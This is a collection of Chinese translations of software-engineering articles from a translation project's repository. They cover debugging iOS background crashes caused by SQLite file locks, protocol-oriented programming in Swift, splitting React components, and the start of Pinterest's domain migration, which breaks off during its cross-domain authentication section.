在九月份发布了 Castro 2.1 版本,那之后不久,从 iTunes Connect 上报的 Castro 崩溃数量便急剧上升。 ![图表展示了 Castro 从 2.0 升级到 2.1 后崩溃数量上升的情况](http://supertop.co/images/crashes.png) ### iTunes Connect 崩溃上报 有趣的是,这些崩溃并没有出现在我们平时使用的崩溃上报服务 HockeyApp 中,因此我们实际上在晚些时候才发现我们的应用出现了问题。想要查看到应用的所有崩溃,开发者需要从 iTunes Connect 或是 Xcode 中查看崩溃上报。(更新: Greg Parker [指出](https://twitter.com/gparker/status/794076875249225728) **“第三方崩溃上报系统在对应的应用进程中建立 handler 来记录应用行为,但如果操作系统从外部终止进程,这个 handler 就永远无法执行了。”**),另外, HockeyApp 的联合创始人 Andreas Linde [引用](https://twitter.com/therealkerni/status/794275740631973888) 了一篇文章来界定那些 [Hockey 能以及不能检测到的崩溃](http://t.umblr.com/redirect?z=https%3A%2F%2Fsupport.hockeyapp.net%2Fkb%2Fclient-integration-ios-mac-os-x-tvos%2Fwhich-types-of-crashes-can-be-collected-on-ios-and-os-x&t=M2RkMzgyMDY2MzU0ZWNmZmVjNDdiOTQ4MjljYWZhNjFiNDgwOGZhOCxXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1)。) 如果你是一名应用开发者并且登陆了开发者账号, Xcode 允许你检视 Apple 官方从你的当前帐号下的 app 用户那收集到的崩溃日志。这项功能在 Window 导航栏下的 Organizer 窗口中的 Crashes 标签中。你可以选择特定的应用版本, Xcode 会下载 Apple 从用户手上收集到的崩溃日志,前提是用户同意将信息分享给开发者。 ![图为 Xcode 中的 Crashes 标签栏所展示的用户崩溃信息](http://supertop.co/images/crashes_tab.png) 我发现 Xcode 的这个功能也非常容易崩溃,尤其是当点击崩溃日志中线程的详情按钮进行切换的时候。一个简便的解决方案是,在列表中右键选中相应的崩溃,并选择在 Finder 中显示。如果你要研究研究包中的内容,你可以把这些崩溃日志简单地当作文本文件。 ### 分析崩溃原因 许多不同的代码路径都触发了这个崩溃,但崩溃最终都指向一个数据库查询方法。 一开始我认为是多线程引发的问题,毕竟在被线程问题折磨了多年之后,我总是第一时间想到它。我以文本文件的格式打开崩溃日志,因为这样比直接用 Xcode 打开展示了更多的细节。崩溃的异常类型是 `EXC_CRASH (SIGKILL)` ,对应的信息是 `EXC_CORPSE_NOTIFY` ,程序被终止的原因是 `Code 0xdead10cc` 。于是我试着找出 `0xdead10cc` 是什么含义。 Google 或是 Apple Developer 论坛都没有多少相关的信息,但 [Technical Note 2151](http://t.umblr.com/redirect?z=https%3A%2F%2Fdeveloper.apple.com%2Flibrary%2Fcontent%2Ftechnotes%2Ftn2151%2F_index.html&t=MTJmNGU4NThiODlmYzE1ZWJhMTM2MWFlODU3MzFiYTFmZGU2NWY4OSxXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1) 中提到: > 异常码 0xdead10cc 出现意味着应用程序因为在后台操作系统资源(譬如通讯录数据库)而被 iOS 系统终止。 这时候我意识到 iOS 强制关闭我的应用是因为我违反了系统规则,而不是说我的代码出了什么小问题。但是, Castro 并没有用到通讯录数据库或是任何我能想到的类似的系统资源。我还怀疑原因是不是应用在后台长时间运行而没有取消,但我也发现日志中有一些应用仅仅运行了两秒钟就发生崩溃的记录。 经过推理,我最终将可能原因定位到我们的数据库相关的 SQLite 文件上,因为绝大部分的堆栈信息都显示崩溃是在操作数据库的时候发生的。但 2.1 版本上的哪个改动,突然就引起了这个崩溃呢? ### 应用的共享容器 Castro 2.1 版本引入了对 iMessage 的支持来让用户轻松地分享他们最近听过的播客。为了让 message app 能够访问数据库,我们将数据库逻辑移动到了应用共享容器中。 我猜想文件的锁机制对在共享区域的文件有更严格的要求。或许当 iOS 准备挂起一个应用的时候,系统会检查这个应用是否正在使用一些可能被其他进程使用的文件,如果有, iOS 就会直接终止这个应用。这看起来是个有理有据的解释。 ### 如何重现崩溃 如何重现正在修复的崩溃是锻炼开发者的绝佳实践。这可能涉及到临时改写一部分代码来刻意提高崩溃出现的可能性。如果我们能稳定地看到崩溃的发生,就能够逐步的验证我们的猜测,同时我们测试修复的正确性就有了参考。而与之对应的另一个方法是盲目地进行修复,发布版本,然后等着看是否会有崩溃上报。有时候,只有盲目修复一条路可走,但这条路枯燥乏味,而且到头来应用依然不断地在用户侧发生崩溃。 而这个崩溃就非常不容易重现,我觉得这里批评一下 iOS 的开发环境并不过分。操作系统粗野地执行着自己的规则,大部分时候,这样做很好,因为这样可以提高安全性,延长电池寿命和稳定性。但在这样的大环境下进行应用的测试和修复,就增加了不必要的麻烦。这些规则的变化悄无声息,而要人为地在应用周期可能出现的每一个状态下进行测试非常不方便,有时候甚至根本无法完成。 在本例中,我意识到在 debugger 模式下进行测试无法触发程序后台挂起的状态。实际上,debugger [会阻止挂起,而且模拟器也不会精准的模拟挂起](http://t.umblr.com/redirect?z=https%3A%2F%2Fforums.developer.apple.com%2Fthread%2F14855&t=NmNmMmFhODVlZTk0Y2E3NDkzMzBmMWY5NzRhODY3NWRiY2MwNDExMSxXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1)。如果不在 debugger 模式下的话,那么就只剩下反复测试然后查看设备日志这一个选择了。 macOS Sierra 上的全新 Console App 提供了访问任何当前连接中的 iPhone 的系统日志的功能,而在 Sierra 之前,我都是靠 Lemon Jar 的 [iOS Console](http://t.umblr.com/redirect?z=https%3A%2F%2Flemonjar.com%2Fiosconsole%2F&t=ZDQ0Y2E0YjdiNDJkMDliYzA3ZDViYTMxYTUyYThiM2Y3NjU5MzY3ZixXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1) 来完成这个操作,但是,看到 Apple 官方提供能够访问日志的工具,了解这样的技术是被官方所接受并支持的,感觉也是极好的。你值得花时间去学习如何使用全新的 Console App ,它呈现出许多 Xcode 调试器无法呈现的操作。由于这份日志是整个系统所有日志的统一输出,所以会有许多不相关的冗余信息,但你可以轻松地创建一个过滤器,将显示的内容限定在与你的应用相关的范围内。 为了刻意重现崩溃 `dead10cc` : * 我在 `applicationDidEnterBackground` 方法中做了几百次数据库查询操作。 * 在我的 Mac 上打开 Console 应用,并过滤信息,仅显示 Castro 相关。 * 我从 Xcode 上运行安装应用,但以直接点击应用图标的形式打开应用。 * 我按 Home 键将应用退到后台,并立刻打开 Pokémon Go ,以期系统会由于内存吃紧而挂起 Castro 。 在重复了几次上述步骤之后,我发现 Console 中已经出现了我尝试重现的崩溃信息。调用堆栈看起来和真实场景的崩溃一模一样,现在我就非常自信地知道崩溃的原因何在了。 接着我发现并修复了项目中一个在后台访问数据库触发的错误:在网络状况变化时,应用会在没有创建 background task 的情况下进行数据库刷新操作。如果在刷新操作尚未完成时应用进入挂起状态, iOS 就会强制终止应用运行。 ### 理解后台获取( Background Fetch Gotcha ) 我还要再分享一件让我惊讶的事情。在 Castro 2 版本,我们在有新剧集发布后通知客户端,从而客户端会刷新用户的推送内容。当 iOS 将这条消息转发给我们的应用的时候,它会调用 `didReceiveRemoteNotification` 方法,而在这个方法中,我们有一个 completion block 的回调。官方文档中提到: > 你的应用至多只有三十秒时间来处理推送消息,而后调用相应的 completion handler block 。实际开发中,一旦你处理完推送,就应该尽快地调用这个 handler block 。系统会记录下应用在后台所耗费的时间、电量、以及数据处理所消耗的流量。 令人抓狂的点在于:就像我在前文中提到的, Castro 有时候运行不到两秒就被终止了,我从调用栈信息明确看到这时候还没有调用 completion block ,所以说,尽管文档写着说应用可以安安心心的运行个 30 秒,但我的应用还是被挂起了。 这实在是出乎意料,于是我决定使用一次开发者 Technical Support Incidents 来看看到底发生了什么事(译者注: [Technical Support Incidents](https://developer.apple.com/support/technical/) 是苹果提供的一项技术支持服务 )。我从负责我的请求的工程师 Kevin Elliott 那得到了一些非常有帮助的回应: 正如我所怀疑的那样, `dead10cc` 问题源于文件上锁: > “真正触发崩溃的原因是, iOS 在挂起你的应用的时候,检查到在你的应用容器中有一个被锁住的文件(本例中就是一个 SQLite 锁)。这个检查的目的在于管理和减少应用内的数据损坏。本例的问题在于,一个文件处于被锁状态,意味着它很可能正在被修改,处于一个数据不连贯的状态。也就是说,一个应用对一个文件加锁的唯一理由就是它接下来要对这个文件进行一系列的读/写操作,并且需要保证这些写操作能够顺利完成而不被其他的写操作插队。简单的说就是,一个文件还处于被锁状态意味着对应的应用还没有完成数据的写入,而处于这种状态下的文件可能会有以下的几个问题: > > * 如果应用在挂起状态被强制终止,那些“应该却还未被写入”的数据便不会被写入,导致数据损坏。 > * 如果这个文件在两个应用之间共享,此时第二个应用/应用扩展开始运行,那这个应用将要么被迫解除这个锁,并试图将文件恢复到一个稳定连续的状态,而让第一个应用继续处在一个不连续的状态,要么就完全忽略这个共享文件。” 至于那 30 秒的后台运行时间: > ...正确的做法应该是彻底规避这个问题 - 如果你不能在 delegate 方法中完成所有的操作(译者注:这里的 delegate 方法即指 `didReceiveRemoteNotification` 方法),那么就直接另起一个 background task ,这样 iOS 在(completion block 中)挂起你的应用之前就会先通知你... 另外, Kevin 也建议应用进入后台的时候应该关闭数据库,以此来确保应用已经完成了数据刷新并能更准确的找到少见的 bug : > 将关闭文件作为一项常规操作,从而将一些隐蔽而奇怪的 bug (应用在后台有时不太对劲),转化成稳定出现的问题(应用在后台无法正常运行),这时候你就可以直接去定位问题了。 这看起来是个明智的做法;我从没想过要在应用进入后台的时候关闭一部分功能,但其实这么做非常合理。在 Castro 的下一个版本更新中,我将会尝试在退后台时关闭数据库。 ### 总结 通过把任何会在后台持续运行的操作放到一系列 background task 中,我成功地在 beta 版本中解决了这一问题。我们会尽快发布包含这个修复的更新。 以下是我所学到的东西的小小总结: * Apple 官方会上报一些其他服务不会上报的崩溃。所以除了外部服务之外,也要查看在 iTunes Connect 和 Xcode 上面的崩溃信息。 * 文件的锁机制对于在共享区域的文件有着更严格的要求。 * 依赖于 background fetch 的 completion block 是远远不够的,不要在一个现行的 background task 之外做**任何**后台操作。 * 想要调试那些仅仅在应用生命周期的特定条件下出现的问题是非常困难的。如果你还没有尝试过新的 Sierra Console.app ,现在就开始学习吧。 * 别忘了 [Technical Support Incidents](http://t.umblr.com/redirect?z=https%3A%2F%2Fdeveloper.apple.com%2Fsupport%2Ftechnical%2F&t=MmJjYzRkN2JmNTg0YjlmYjEyMmZkN2QwMzFmNzAyMGNjYTZjYzI1NixXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1) ,你每年的开发者账号可都为这两次机会买了单噢。(多谢啦 Kevin 大兄弟!) 如果你欣赏这篇文章,或许你也会对 [Supertop podcast](http://t.umblr.com/redirect?z=https%3A%2F%2Fitunes.apple.com%2Fca%2Fpodcast%2Fsupertop-podcast%2Fid1143273587%3Fmt%3D2&t=OGRlZTk5NmVhMDc2YmNlMmRmN2FhYmRjMzJmMTgxODYyZDcwNzFmZSxXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1) 和我们的播客应用 [Castro](http://t.umblr.com/redirect?z=http%3A%2F%2Fsupertop.co%2Fcastro%2Fdownload%3Fcampaign%3DCastroBGCrashPost&t=OTJiNjAwYTgwOWJhNzNmNzI2NWNiMDI3Y2RhNGFhOWNiNDVmOWY2OCxXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1) 感兴趣。 这篇文章的标题引用了 Brent Simmons 的 ["How Not to Crash”](http://t.umblr.com/redirect?z=http%3A%2F%2Finessential.com%2Fhownottocrash&t=YWQwOTk2YWRiOTZlYmU3ZDIyYzUwM2I5OWEzOTBiMGYxZDA0ODNjNSxXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1) 系列,我强烈推荐还没看过的读者去看看这个系列。 ================================================ FILE: TODO/how-protocol-oriented-programming-in-swift-saved-my-day.md ================================================ > * 原文地址:[How Protocol Oriented Programming in Swift saved my day?](https://medium.com/ios-os-x-development/how-protocol-oriented-programming-in-swift-saved-my-day-75737a6af022) * 原文作者:[NIkant Vohra](https://medium.com/@nikantvohra) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Danny Lau](https://github.com/Danny1451) * 校对者:[Jing Liu](https://github.com/shliujing),[lm](https://github.com/DeepMissea) # Swift 中的面向协议编程是如何点亮我的人生的 面向对象编程至今已经使用了数十年了,并且成为了构建大型软件约定俗成的标准。作为iOS编程的中心思想,遵循面向对象规范来编写一个 iOS 的应用几乎不可能实现。虽然面向对象有很多优点比如封装性,访问控制和抽象性,但是它也自带有固有的缺点。 1. 大多数类的情况下,当一个单继承的类需要更多不同类中的函数功能时,你会倾向于使用多继承来实现。 但是大部分的编程语言不支持这一特性,而且会导致类的继承关系变得复杂。 2. 在多线程环境下,如果所有对象在函数中都是通过引用来传递会导致意想不到的问题。 3. 因为类与类之间的高耦合性,为一个单独的类写测试单元会很困难。 下面是网上大量的对面向对象的抱怨 [All evidence points to OOP being bullshit | Pivotal](https://blog.pivotal.io/pivotal-labs/labs/all-evidence-points-to-oop-being-bullshit) [Object Oriented Programming is an expensive disaster which must end | Smash Company](http://www.smashcompany.com/technology/object-oriented-programming-is-an-expensive-disaster-which-must-end) Swift 尝试引入一种叫做面向协议的编程新规范来解决传统的面向对象编程中固有的问题。WWDC2015 演讲做了一个令人惊叹的关于面向协议编程的介绍。我迫不及待的想推荐它了。 [![](https://i.ytimg.com/vi_webp/g2LwFZatfTI/hqdefault.webp)](https://www.youtube.com/embed/g2LwFZatfTI?wmode=opaque&widget_referrer=https%3A%2F%2Fmedium.com%2Fmedia%2Ff137712b1f42988c4a0a99675aa7c26d%3FmaxWidth%3D700&enablejsapi=1&origin=https%3A%2F%2Fcdn.embedly.com&widgetid=1) Swift 在最初的时候是包含值类型的概念。结构体和枚举都是 Swift 中的[一等公民](https://en.wikipedia.org/wiki/First-class_citizen),还拥有很多像 propertites, methods 和 extensions 等在大多数语言只有类才有的特点。虽然在Swift中值类型不支持继承,但是通过遵循协议的方式一样能够享受到面向协议的好处。 Ray Wunderlich 的面向协议编程的教程展示了它的能力。 [Introducing Protocol-Oriented Programming in Swift 2](https://www.raywenderlich.com/109156/introducing-protocol-oriented-programming-in-swift-2) 现在我将向你展示面向协议编程是如何点亮我的人生的。我的应用程序遵循经典的左侧菜单导航模式(附带一些选项)。这个应用大概有十个不同的 view controller,它们都是继承自一个拥有基础函数和各个界面所需样式的基类 view controller。 ![](https://cdn-images-2.medium.com/max/800/1*kzD0ekSgHvBvu23OAyW7Fg.jpeg) 和我的应用相似的左侧菜单的应用例子 这个应用依赖于 Webscokets 来与服务器交互。服务器可以随时发送事件,而应用根据用户所在的界面来进行相应的事件响应。举个事件例子的话,比如登出事件,当用户收到了服务器关于这个状态的事件时,应用需要登出并显示登录界面。 在我脑中的第一想法是把登出事件写在基础的 view controller 里面,当事件发生的时候,在需要的 view controller 进行调用。 // BaseViewController.swift class BaseViewController { func logout() { //Perform Logout print("Logout User") } } 这一步的问题就是并不是每个 view controller 都必须实现这个登出的功能,但是它还是都会继承这个登出的函数。此外不同的 view controller 需要响应不同的事件,所以在基础 view controller 中包含所有的函数并没有什么意义。 幸运地是面向协议编程拯救了我,我声明一个 Logoutable 的协议,那些需要登出功能的 view controller 遵循这个 Logoutable 的协议就可以了。 // Logoutable.swift protocol Logoutable { func logout() } // ViewController.swift class ViewController : Logoutable { func logout() { //Perform Logout print("Logout User") } } 这一个进步带来的问题是我必须在每个需要遵循这个协议的 view controller 中重复这个登出函数的实现。 这正是面向协议编程在 Swift 中的闪光点,因为它给我们提供了协议拓展功能,可以在一个协议中定义一个默认的函数的行为。所以我所需要做的仅仅是在 Logoutable 的协议中写一个带有默认登出行为的实现的拓展,这样这个函数对那些遵循这个协议的 view controller 的来说就是可选的。 //LogoutableExtension.swift extension Logoutable where Self : BaseViewController { func logout() { //Perform Logout print("Logout User") } } 面向协议编程完全就像魔法一样,不定义任何复杂的继承就够就实现这些功能。现在我就能为不同的事件定义不同的协议并且各自 view controller 就能够遵循它所需要的协议。 面向协议编程是真正地点亮了我的人生,现在每当我需要使用继承或者其他面向对象的原理来构建我的代码时,我会想这能否通过使用面向协议编程的方法来更好的完成这项工作。我不是说它是完美的解决方案但是它仍然值得一试。 _如果你喜欢这篇文章的话,请推荐它,这样其他人也可以欣赏它。_ ================================================ FILE: TODO/how-should-i-separate-components.md ================================================ > * 原文地址:[How do you separate components?](https://reactarmory.com/answers/how-should-i-separate-components) > * 原文作者:[James K Nelson](https://twitter.com/james_k_nelson) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-should-i-separate-components.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-should-i-separate-components.md) > * 译者:[undead25](https://github.com/undead25) > * 校对者:[薛定谔的猫](https://github.com/Aladdin-ADD)、[Germxu](https://github.com/germxu) # 你是如何拆分组件的? React 组件会随着时间的推移而逐步增长。幸好我意识到了这一点,不然我的一些应用程序的组件将变得非常可怕。 但这实际上是一个问题吗?虽然创建许多只使用一次的小组件似乎有点奇怪…… 在一个大型的 React 应用程序中,拥有大量的组件本身没有什么错。实际上,对于**状态**组件,我们当然是希望它们越小越好。 ## 臃肿组件的出现 关于状态它通常不会很好地分解。如果有多个动作作用于同一状态,那么它们都需要放在同一个组件中。状态可以被改变的方式越多,组件就越大。另外,如果一个组件有影响多个[状态类型](http://jamesknelson.com/5-types-react-application-state/)的动作,那么它将变得非常庞大,这是不可避免的。 **但即使大型组件不可避免,它们使用起来仍然是非常糟糕的**。这就是为什么你会尽可能地拆分出更小的组件,遵循[关注点分离](https://en.wikipedia.org/wiki/Separation_of_concerns)的原则。 当然,说起来容易做起来难。 寻找关注点分离的方法是一门技术,更是一门艺术。但你可以遵循以下几种常见模式…… ## 4 种类型的组件 根据我的经验,有四种类型的组件可以从较大的组件中拆分出来。 ### 视图组件 有关视图组件(有些人称为展示组件)的更多信息,请参阅 Dan Abramov 的名著 —— [展示组件和容器组件](https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0)。 视图组件是最简单的组件类型。它们所做的就是**显示信息,并通过回调发送用户输入**。它们: - 将属性分发给子元素。 - 拥有将数据从子元素转发到父组件的回调。 - 通常是函数组件,但如果为了性能,它们需要绑定回调,则可能是类。 - 一般不使用生命周期方法,性能优化除外。 - **不**直接存储状态,除了以 UI 为中心的状态,例如动画状态。 - **不**使用 refs 或直接与 DOM 进行交互(因为 DOM 的改变意味着状态的改变)。 - **不**修改环境。它们不应该直接将动作发送给 redux 的 store 或者调用 API 等。 - **不**使用 React 上下文。 你可以从较大的组件中拆分出展示组件的一些迹象: - 有 DOM 标记或者样式。 - 有像列表项这样重复的部分。 - 有“看起来”像一个盒子或者区域的内容。 - JSX 的一部分仅依赖于单个对象作为输入数据。 - 有一个具有不同区域的大型展示组件。 可以从较大的组件中拆分出展示组件的一些示例: - 为多个子元素执行布局的组件。 - 卡片和列表项可以从列表中拆分出来。 - 字段可以从表单中拆分出来(将所有的更新合并到一个 `onChange` 回调中)。 - 标记可以从控件中拆分出来。 ### 控制组件 控制组件指的是**存储与部分输入相关的状态**的组件,即跟踪用户已发起动作的状态,而这些状态还未通过 `onChange` 回调产生有效值。它们与展示组件相似,但是: - 可以存储状态(当与部分输入相关时)。 - 可以使用 refs 和与 DOM 进行交互。 - 可以使用生命周期方法。 - 通常没有任何样式,也没有 DOM 标记。 你可以从较大的组件中拆分出控制组件的一些迹象: - 将部分输入存储在状态中。 - 通过 refs 与 DOM 进行交互。 - 某些部分看起来像原生控件 —— 按钮,表单域等。 控制组件的一些示例: - 日期选择器 - 输入提示 - 开关 你经常会发现你的很多控件具有相同的行为,但有不同的展现形式。在这种情况下,通过将展现形式拆分成视图组件,并作为 `theme` 或 `view` 属性传入是有意义的。 你可以在 [react-dnd](https://github.com/react-dnd/react-dnd) 库中查看连接器函数的实际示例。 当从控件中拆分出展示组件时,你可能会发现通过 `props` 将单独的 `ref` 函数和回调传递给展示组件感觉有点不对。在这种情况下,它可能有助于传递**连接器函数**,这个函数将 refs 和回调克隆到传入的元素中。例如: ```jsx class MyControl extends React.Component { // 连接器函数使用 React.cloneElement 将事件处理程序 // 和 refs 添加到由展示组件创建的元素中。 connectControl = (element) => { return React.cloneElement(element, { ref: this.receiveRef, onClick: this.handleClick, }) } render() { // 你可以通过属性将展示组件传递给控件, // 从而允许控件以任意标记和样式来作为主题。 return React.createElement(this.props.view, { connectControl: this.connectControl, }) } handleClick = (e) => { /* ... */ } receiveRef = (node) => { /* ... */ } // ... } // 展示组件可以在 `connectControl` 中包裹一个元素, // 以添加适当的回调和 `ref` 函数。 function ControlView({ connectControl }) { return connectControl(
      control content goes here
      ) } ``` 你会发现控制组件通常会非常大。它们必须处理和状态密不可分的 DOM,这就使得控制组件的拆分特别有用;通过将 DOM 交互限制为控制组件,你可以将任何与 DOM 相关的杂项放在一个地方。 ### 控制器 一旦你将展示和控制代码拆分到独立的组件中后,大部分剩余的代码将是业务逻辑。如果有一件事我想你在阅读本文之后记住,那就是**业务逻辑不需要放在 React 组件**中。将业务逻辑用普通 JavaScript 函数和类来实现通常是有意义的。由于没有一个更好的名字,我将它称之为**控制器**。 所以只有三种类型的 **React** 组件。但仍然有四种类型的组件,因为不是每个组件都是一个 React 组件。 并不是每辆车都是丰田(但至少在东京大部分都是)。 控制器通常遵循类似的模式。它们: - 存储某个状态。 - 有改变那个状态的动作,并可能引起副作用。 - 可能有一些订阅状态变更的方法,而这些变更不是由动作直接造成的。 - 可以接受类似属性的配置,或者订阅某个全局控制器的状态。 - **不**依赖于任何 React API。 - **不**与 DOM 进行交互,也没有任何样式。 你可以从你的组件中拆分出控制器的一些迹象: - 组件有很多与部分输入无关的状态。 - 状态用于存储从服务器接收到的信息。 - 引用全局状态,如拖放或导航的状态。 一些控制器的示例: - 一个 Redux 或者 Flux 的 store。 - 一个带有 MobX 可观察的 JavaScript 类。 - 一个包含方法和实例变量的普通 JavaScript 类。 - 一个事件发射器。 一些控制器是全局的;它们完全独立于你的 React 应用程序。Redux 的 stores 就是一个是全局控制器很好的例子。但**并不是所有的控制器都需要是全局的**,也并不是所有的状态都需要放在单独的控制器或者 store 中。 通过将表单和列表的控制器代码拆分为单独的类,你可以根据需要在容器组件中实例化这些类。 ### 容器组件 容器组件是将控制器连接到展示组件和控制组件的粘合剂。它们比其他类型的组件更具有灵活性。但仍然倾向于遵循一些模式,它们: - 在组件状态中存储控制器实例。 - 通过展示组件和控制组件来渲染状态。 - 使用生命周期方法来订阅控制器状态的更新。 - **不**使用 DOM 标记或样式(可能出现的例外是一些无样式的 div)。 - 通常由像 Redux 的 `connect` 这样的高阶函数生成。 - 可以通过上下文访问全局控制器(例如 Redux 的 store)。 虽然有时候你可以从其他容器中拆分出容器组件,但这很少见。相反,最好将精力集中在拆分控制器、展示组件和控制组件上,并将剩下的所有都变成你的容器组件。 一些容器组件的示例: - 一个 `App` 组件 - 由 Redux 的 `connect` 返回的组件。 - 由 MobX 的 `observer` 返回的组件。 - react-router 的 `` 组件(因为它使用上下文并影响环境)。 ## 组件文件 你怎么称呼一个不是视图、控制、控制器或容器的组件?你只是把它叫做组件!很简单,不是吗? 一旦你拆分出一个组件,问题就变成了**我把它放在哪里**?老实说,答案很大程度上取决于个人喜好,但有一条规则我认为很重要: **如果拆分出的组件只在一个父级中使用,那么它将与父级在同一个文件中**。 这是为了尽可能容易地拆分组件。创建文件比较麻烦,并且会打断你的思路。如果你试着将每个组件放在不同的文件中,你很快就会问自己“我真的需要一个新组件吗?”因此,请将相关的组件放在同一个文件中。 当然,一旦你找到了重用该组件的地方,你可能希望将它移动到单独的文件中。这就使得把它放到哪个文件中去成为一个甜蜜的烦恼了。 ## 性能怎么样? 将一个庞大的组件拆分成多个控制器、展示组件和控制组件,增加了需要运行的代码总量。这可能会减慢一点点,但不会减慢很多。 ##### 故事 我遇到过唯一一次由于使用太多组件而引起性能问题 —— 我在**每一帧**上渲染 5000 个网格单元格,每个单元格都有多个嵌套组件。 关于 React 性能的是,即使你的应用程序有明显的延迟,问题肯定**不是**出于组件太多。 **所以你想使用多少组件都可以**。 ## 如果没有拆分…… 我在本文中提到了很多规则,所以你可能会惊讶地听到我其实并不喜欢严格的规则。它们通常是错的,至少在某些情况下是这样。所以必须要明确的是: **『可以』拆分并不意味着『必须』拆分**。 假设你的目标是让你的代码更易于理解和维护,这仍然留下了一个问题:怎样才是易于理解?怎样才是易于维护?而答案往往取决于谁在问,这就是为什么重构是技术,更是艺术。 有一个具体的例子,考虑下这个组件的设计: ```html I'm in a React app!
      ``` ```jsx class List extends React.Component { renderItem(item, i) { return (
    • {item.name}
    • ) } render() { return (
        {this.props.items.map(this.renderItem)}
      ) } } ReactDOM.render( , document.getElementById('app') ) ``` 尽管将 `renderItem` 拆分成一个单独的组件是完全可能的,但这样做实际上会有什么好处呢?可能没有。实际上,在具有多个不同组件的文件中,使用 `renderItem` 方法可能会**更容易**理解。 请记住:四种类型的组件是当你觉得它们有意义的时候,你可以使用的一种模式。它们并不是硬性规定。如果你不确定某些内容是否需要拆分,那就不要拆分,因为即使某些组件比其他组件更臃肿,世界末日也不会到来。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-switching-our-domain-structure-unlocked-international-growth.md ================================================ > * 原文地址:[How switching our domain structure unlocked international growth](https://medium.com/@Pinterest_Engineering/how-switching-our-domain-structure-unlocked-international-growth-e00c8184d5dd) > * 原文作者:[Pinterest Engineering](https://medium.com/@Pinterest_Engineering?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-switching-our-domain-structure-unlocked-international-growth.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-switching-our-domain-structure-unlocked-international-growth.md) > * 译者:[Starrier](https://github.com/Starriers) > * 校对者:[anxsec](https://github.com/anxsec),[Xekin-FE](https://github.com/Xekin-FE) # 如何修改域名来提高国际增长率 Christian Miranda | Growth 部门软件工程师 在 Pinterest 上的 2 亿月活跃用户中,其中有超过半数的用户在美国之外的地方使用我们的 app。为了给全球用户提供更好的服务,我们将持续改进 Pinterest。我们已经将流量转移到了国家代码顶级域名 (ccTLDs)。例如现在服务于德国的是 [www.pinterest.de](http://www.pinterest.de) 而不再是 [www.pinterest.com.](http://www.pinterest.com.) 这里我们将深入讨论如何帮助提高增长的细节,并讨论在整个过程中遇到的一些工程挑战。 ### 一切尽在域名中 Pinterest 自 2010 年成立以来,该网站的每一页都托管在 [www.pinterest.com.](http://www.pinterest.com.) 上。上线几年后,为了让我们的内容可以按国家划分并为 Pinterest 提供本地化和相关体验,我们引进了 country 子域名 (如 de.pinterest.com)。这改善了搜索引擎的优化 (SEO) 和总体增长,因为国家子域名在全球搜索结果中排名更高,更多的人群发现了使用他们语言的相关内容。 下一步是实现 ccTLDs。通过调查,我们了解到一些做出改变的网站所呈现中立或负面增长的现象,尽管业界对 ccTLDs 看法是它在许多搜索引擎算法中提供了一个更强烈的地理定位信号,用户可能会点击以本地域名结尾的结果(这会积极影响搜索排名以导致更高的点击率)。我们想对它们进行测试,观察他们将如何作用于 Pinterest 和我们多样化的内容目录。 ### 不仅仅是重定向:切换域名的挑战 从表面上看,这个项目看起来很简单--我们所要做的就是提供我们想要的新的 ccTLDs 并设置重定向来开始给它们流量。然而很明显,修改我们网站的顶级域名需要对我们的基础设施进行重大的改变。 #### 跨域认证 Pinterest 上的身份验证非常标准。我们有一个处理用户名/密码注册的内部用户服务,对那些第三方(如 Facebook)认证采用 OAuth 开放标准。我们会在用户每次访问 [www.pinterest.com.](http://www.pinterest.com) 时,取回后端返回的令牌并对其进行身份验证。 随着 ccTLDs 的引入,我们需要支持对用户进行身份验证的功能,无论他们访问的是哪个域名。我们的解决方案是建立一个域名中心(accounts.pinterest.com)作为所有登录的唯一验证源。 ![](https://cdn-images-1.medium.com/max/800/0*xGzaLMrxl2YDvYf7.) 简而言之,Pinterest ccTLDs 与域名中心通信以确定身份验证状态,并设置客户端 cookie 来提供镜像。下一节将描述这种通信,我们称之为 auth 握手。 #### auth 握手 握手的一般流程是: 1.在注册或登录期间,将从访问域 (例如,[www.pinterest.abc)](http://www.pinterest.abc%29) 调用 API 以确定身份验证状态。 2.如果用户登录了 accounts.plnterest.com,他们将自动登录 [www.pinterest.abc.](http://www.pinterest.abc)。 3.如果用户没有登录 accounts.pintertst.com,我们将生成一个访问令牌,并在这两个域名上的 cookie 中设置它,这引导了域名中心的后续访问,因此可以进行第二步。 第一步中存在一个问题:同源策略规定“只有当两个网页同源时,一个网页上的脚本才可以访问另一个网页上的数据。”这是互联网安全的支柱,也是阻止恶意网站上 JavaScript 访问个人或敏感信息的手段。在 auth 握手情况下,由于域名不匹配(例如 pinterest**.com** 和 pinterest**.abc**),Pinterest ccTLDs 